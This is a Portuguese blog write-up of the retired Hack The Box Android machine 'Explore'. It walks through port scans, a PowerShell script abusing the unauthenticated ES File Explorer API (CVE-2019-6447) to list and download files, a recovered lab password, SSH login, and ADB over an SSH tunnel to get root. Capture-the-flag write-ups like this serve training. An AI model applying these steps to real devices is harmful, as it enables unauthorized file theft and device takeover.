Olá pessoal!
A máquina desta semana será Explore, uma máquina Android classificada como fácil do Hack The Box, criada por bertolis.
Info
Write-ups para máquinas do Hack The Box são postados assim que as máquinas são aposentadas.
Esta foi minha primeira máquina Android do HTB e, mesmo nao tendo acesso ao ADB diretamente, consegui acesso via SSH a partir de informação obtida via um aplicativo vulnerável.
Espero que gostem!
Enumeração
Como de costume, iniciado com a enumeração rápida via nmap para buscar as portas publicadas nesta máquina:
$ nmap -sC -sV -Pn -oA quick 10.10.10.247Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-16 14:26 -03Nmap scan report for 10.10.10.247Host is up (0.072s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION2222/tcp open ssh (protocol 2.0)| fingerprint-strings:| NULL:|_ SSH-2.0-SSH Server - Banana Studio| ssh-hostkey:|_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)5555/tcp filtered freeciv1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port2222-TCP:V=7.91%I=7%D=8/16%Time=611A9FDB%P=x86_64-pc-linux-gnu%r(NUSF:LL,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 11.05 seconds5555/TCP - freeciv
Como esta é minha primeira máquina android, comecei por pesquisar sobre este serviço freeciv encontrado. Interessantemente encontrei um write-up para uma máquina do VulnHub que menciona que esta porta é utilizada pelo ADB (Android Debug Bridge) mas, diferentemente desta, na máquina Explore ela se encontra filtrada(filtered). Vamos manter esta informação por enquanto até que encontremos um jeito de buscar um shell interativo neste dispositivo.
Para buscar por alguma informação faltante, executei um novo scan no nmap, desta vez para buscar todas as portas TCP, onde encontrei algumas portas adicionais abertas:
$ nmap -p- -Pn -oA allPorts 10.10.10.247Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Sarting Nmap 7.91 ( https://nmap.org ) at 2021-08-16 14:44 -03Nmap scan report for 10.10.10.247Host is up (0.070s latency).Not shown: 65530 closed portsPORT STATE SERVICE2222/tcp open EtherNetIP-15555/tcp filtered freeciv37425/tcp open unknown42135/tcp open unknown59777/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 41.93 seconds$ nmap -p37425,42135,59777 -sV -Pn -oA Full 10.10.10.247Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-16 14:47 -03Nmap scan report for 10.10.10.247Host is up (0.071s latency).
PORT STATE SERVICE VERSION37425/tcp open unknown42135/tcp open http ES File Explorer Name Response httpd59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port37425-TCP:V=7.91%I=7%D=8/16%Time=611AA4D5%P=x86_64-pc-linux-gnu%r(GSF:enericLines,AA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x20SF:16\x20Aug\x202021\x2017:48:06\x20GMT\r\nContent-Length:\x2022\r\nContenSF:t-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\SF:r\nInvalid\x20request\x20line:\x20")%r(GetRequest,5C,"HTTP/1\.1\x20412\SF:x20Precondition\x20Failed\r\nDate:\x20Mon,\x2016\x20Aug\x202021\x2017:4SF:8:06\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,B5,"HTTP/1\SF:.0\x20501\x20Not\x20Implemented\r\nDate:\x20Mon,\x2016\x20Aug\x202021\xSF:2017:48:11\x20GMT\r\nContent-Length:\x2029\r\nContent-Type:\x20text/plaSF:in;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nMethod\x20not\x2SF:0supported:\x20OPTIONS")%r(RTSPRequest,BB,"HTTP/1\.0\x20400\x20Bad\x20RSF:equest\r\nDate:\x20Mon,\x2016\x20Aug\x202021\x2017:48:11\x20GMT\r\nContSF:ent-Length:\x2039\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\rSF:\nConnection:\x20Close\r\n\r\nNot\x20a\x20valid\x20protocol\x20version:SF:\x20\x20RTSP/1\.0")%r(Help,AE,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDaSF:te:\x20Mon,\x2016\x20Aug\x202021\x2017:48:26\x20GMT\r\nContent-Length:\SF:x2026\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnectionSF::\x20Close\r\n\r\nInvalid\x20request\x20line:\x20HELP")%r(SSLSessionReqSF:,DD,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x2016\x20Aug\xSF:202021\x2017:48:26\x20GMT\r\nContent-Length:\x2073\r\nContent-Type:\x20SF:text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nInvalid\SF:x20request\x20line:\x20\x16\x03\0\0S\x01\0\0O\x03\0\?G\?\?\?,\?\?\?`~\?SF:\0\?\?{\?\?\?\?w\?\?\?\?<=\?o\?\x10n\0\0\(\0\x16\0\x13\0")%r(TerminalSeSF:rverCookie,CA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x201SF:6\x20Aug\x202021\x2017:48:26\x20GMT\r\nContent-Length:\x2054\r\nContentSF:-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\rSF:\nInvalid\x20request\x20line:\x20\x03\0\0\*%\?\0\0\0\0\0Cookie:\x20mstsSF:hash=nmap")%r(TLSSessionReq,DB,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDSF:ate:\x20Mon,\x2016\x20Aug\x202021\x2017:48:26\x20GMT\r\nContent-Length:SF:\x2071\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnectioSF:n:\x20Close\r\n\r\nInvalid\x20request\x20line:\x20\x16\x03\0\0i\x01\0\0SF:e\x03\x03U\x1c\?\?random1random2random3random4\0\0\x0c\0/\0");Service Info: Device: phone
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 102.01 seconds42135/TCP - ES File Explorer Name Response httpd
Buscando por este serviço no searchsploit encontrei um resultado para a plataforma Android.
$ searchsploit ES File Explorer---------------------------------------------------------------------- --------------------------------- Exploit Title | Path---------------------------------------------------------------------- ---------------------------------ES File Explorer 4.1.9.7.4 - Arbitrary File Read | android/remote/50070.pyiOS iFileExplorer Free - Directory Traversal | ios/remote/16278.pyMetaProducts Offline Explorer 1.x - FileSystem Disclosure | windows/remote/20488.txtMicrosoft Internet Explorer / MSN - ICC Profiles Crash (PoC) | windows/dos/1110.txtMicrosoft Internet Explorer 4.x/5 / Outlook 2000 0/98 0/Express 4.x - | windows/remote/19603.txtMicrosoft Internet Explorer 4/5 - DHTML Edit ActiveX Control File Ste | windows/remote/19094.txtMicrosoft Internet Explorer 5 - ActiveX Object For Constructing Type | windows/remote/19468.txtMicrosoft Internet Explorer 5 / Firefox 0.8 / OmniWeb 4.x - URI Proto | windows/remote/24116.txtMicrosoft Internet Explorer 5/6 - 'file://' Request Zone Bypass | windows/remote/22575.txtMicrosoft Internet Explorer 6 - '%USERPROFILE%' File Execution | windows/remote/22734.htmlMicrosoft Internet Explorer 6 - Local File Access | windows/remote/29619.htmlMicrosoft Internet Explorer 7 - Arbitrary File Rewrite (MS07-027) | windows/remote/3892.htmlMy File Explorer 1.3.1 iOS - Multiple Web Vulnerabilities | ios/webapps/28975.txtWebFileExplorer 3.6 - 'user' / 'pass' SQL Injection | php/webapps/35851.txt---------------------------------------------------------------------- ---------------------------------Acesso inicial e User flag
Verificando este exploit, notei que está relacionado ao CVE-2019-6447, discutido neste post Analysis of ES File Explorer Security Vulnerability (CVE-2019–6447) | by Knownsec 404 team | Medium.
Esta vulnerabilidade consiste em uma falha que permite a execução de alguns comandos (implementados pelo app) de forma não autenticada, sem a necessidade de quaisquer tipos de autorização. Já que é bem simples, criei um script Powershell para enumerar as informações disponíveis:
#!/usr/bin/pwsh
$methods = @('listFiles','listPics','listVideos','listAudios','listAppsAll','getDeviceInfo')
foreach($method in $methods){ Write-host ">>> Method: $method" -foregroundcolor green Invoke-RestMethod -method POST -header @{"Content-Type" = "application/json"} -body "{'command':'$method'}" -uri http://10.10.10.247:59777 | fl *}Do resultado obtido da execução do bloco anterior, o mais interessante foi uma imagem chamada creds.jpg
>>> Method: listPics
name : concept.jpgtime : 4/21/21 02:38:08 AMlocation : /storage/emulated/0/DCIM/concept.jpgsize : 135.33 KB (138,573 Bytes)
name : anc.pngtime : 4/21/21 02:37:50 AMlocation : /storage/emulated/0/DCIM/anc.pngsize : 6.24 KB (6,392 Bytes)
name : creds.jpgtime : 4/21/21 02:38:18 AMlocation : /storage/emulated/0/DCIM/creds.jpgsize : 1.14 MB (1,200,401 Bytes)
name : 224_anc.pngtime : 4/21/21 02:37:21 AMlocation : /storage/emulated/0/DCIM/224_anc.pngsize : 124.88 KB (127,876 Bytes)Para baixar o arquivo, utilizei o comando abaixo, também permitido pela vulnerabilidade do app encontrado:
curl --header "Content-Type: application/json" http://10.10.10.247:59777/storage/emulated/0/DCIM/creds.jpg -o creds.jpgAbrindo a imagem em um visualizador, notei que existiam algumas credenciais na mesma: kristi:Kr1sT!5h@Rp3xPl0r3!

Estas credenciais permitiram que me conectasse via SSH na porta 2222/TCP, conforme previamente enumerado. Encontrei a flag de usuário ao acessar o arquivo /sdcard/user.txt:
$ ssh kristi@10.10.10.247 -p 2222Password authenticationPassword::/ $ cd /sdcard/:/sdcard $ cat user.txt<redacted>Root flag
Agora que temos acesso via SSH nesta máquina, podemos obter acesso root utilizando o ADB shell a partir do redirecionamento da porta do serviço utilizando o SSH, onde redirecionei a porta 5555/TCP da máquina para um listener local, vide comando abaixo a ser executado na máquina do atacante:
$ ssh kristi@10.10.10.247 -p 2222 -L 5555:127.0.0.1:5555Password authenticationPassword::/ $Após conexão, apenas precisei me conectar utilizando o adb apontando o endereço para a porta local, que está sendo tunelado pela conexão SSH, onde, para obter privilégios de root, apenas precisei executar o comando su para obter acesso como root.
$ adb connect 127.0.0.1:5555connected to 127.0.0.1:5555$ adb shellx86_64:/ $ su:/ # find / -type f 2> /dev/null | grep root.txt/data/root.txt:/ # cat /data/root.txt<redacted>Espero que tenham gostado!
Vejo vocês no próximo post :smiley: